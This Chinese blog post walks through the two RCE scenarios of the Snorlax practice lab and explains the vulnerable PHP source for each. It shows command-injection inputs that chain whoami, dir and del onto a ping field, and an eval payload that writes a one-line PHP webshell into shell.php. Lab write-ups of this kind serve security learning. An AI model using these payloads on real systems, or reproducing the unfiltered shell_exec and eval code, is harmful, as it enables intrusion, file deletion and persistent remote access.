Snorlax 靶场:RCE 攻击

RCE 攻击

命令注入攻击的目的是,在易受攻击的应用程序中注入和执行攻击者指定的命令。在这种情况下,执行不需要的系统命令的应用程序就像一个伪系统外壳,攻击者可以将其作为任何授权的系统用户使用。但是,执行命令的权限和环境与 web 服务相同。
在大多数情况下,由于缺少正确的输入数据验证,攻击者对例如表单、cookies、HTTP 标头等进行操控,使得命令注入攻击成为可能。此攻击也称为“远程命令执行 (RCE)”。

Snorlax 靶场共有 2 个关于 RCE 的场景,分别是 RCE Exec 和 RCE Eval。

RCE Exec

漏洞利用

先熟悉一下页面功能,输入一个 IP 地址后将执行 ping 命令,将结果会显到界面上。

127.0.0.1


由于在操作系统中,“&”、“&&”、“|”、“||”都可以作为命令连接符使用,只要网页没有对参数进行任何过滤,就可以用连接符后面接上其他指令来执行。使用 & 连接命令“whoami”,该命令用于查看当前有效用户名的命令,Windows 和 Linux 系统都支持。根据显示的内容不同,可以用来判断是否有远程命令执行漏洞和判断操作系统。

127.0.0.1 & whoami


通过回显的信息可以判断此处存在 RCE,而且操作系统是 Windows。所以接下来可以继续用 RCE 执行 Windows 系统的命令,例如使用 dir 命令扫描目录。

127.0.0.1 & dir


由于可以使用一些命令来获取操作系统中的文件信息,所以也可以使用 del 删除文件。

127.0.0.1 & del flag.txt


虽然页面没有什么异常,但是 del 命令已经执行成功了,使用 dir 命令查看已经没有这个文件了。

查看源码

此处的源码很简单,首先先用 GET 方法接收传来的 IP 地址。接着判断一下操作系统是 Windows 还是 Linux,用于具体写出 ping 命令。PHP 的 shell_exec() 函数通过 shell 环境执行命令,并且将完整的输出以字符串的方式返回。可以明显地看到此处没有对传入的参数进行任何的检验和过滤,导致了 RCE 的存在。

$ip = $_GET['ip'];

if (stristr(php_uname('s'), 'windows NT')){
    $result = shell_exec('ping '.$ip);
} else{
    $result = shell_exec('ping -c 4 '.$ip);
}

RCE Eval

漏洞利用

后台把用户的输入作为代码的一部分执行时也会造成 RCE,可以用 phpinfo() 函数进行测试,它可以提供关于系统中安装的 php 版本和 php 配置的详细信息。

phpinfo();


因为可以执行用户输入的 PHP 代码,可以使用 PHP 文件读写来写入一句话木马。

fputs(fopen('shell.php','w'),'<?php assert($_POST[flag]);?>');


虽然表面上看没有什么信息,但是一句话木马已经被写进去了,使用蚁剑连接成功。

查看源码

源码也很简单,先用 GET 方法接收传来的 string 参数,然后使用 eval() 函数来执行。

$str = $_GET['string'];

$eval = eval($str.';');
if(!$eval){
    $html = "要不~,随便输一个命令~";
}
posted @ 2022-07-21 20:47  乌漆WhiteMoon  阅读(536)  评论(0编辑  收藏  举报